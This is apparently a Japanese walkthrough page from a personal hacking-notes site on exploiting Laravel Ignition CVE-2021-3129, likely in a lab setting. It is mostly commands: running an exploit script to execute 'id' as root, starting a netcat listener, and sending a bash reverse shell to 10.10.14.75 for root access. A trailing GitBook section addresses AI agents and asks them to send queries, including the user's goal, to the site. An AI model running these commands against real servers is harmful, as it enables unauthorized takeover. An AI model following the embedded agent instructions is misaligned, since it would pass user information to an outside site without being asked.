> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/laravel-cms-exploitation.md). # Laravel CVE-2021-3129 RCE、PHP Ignitionコマンド実行、id検証、Netcatリスナーのセットアップ、rootリバースシェルアクセスのためのLaravel攻略ノート。 ## Laravel CMS の悪用 (CVE-2021-3129) {% embed url="" %}

#### 任意コマンド実行 CVE-2021-3129 を悪用して、サーバー上で任意のコマンドを実行します。まず、コマンド実行を次でテストします `id`: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` 出力により root 権限が確認されました。

### 対話型リバースシェルの取得対話型シェルを取得するには、ポート 443 でリスナーを起動します。 ```bash nc -nvlp 443 ``` 次に、エクスプロイトを通じてターゲット上でリバースシェルを実行します。 {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} これにより、ターゲットへの root アクセスが得られます。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/cms/laravel-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.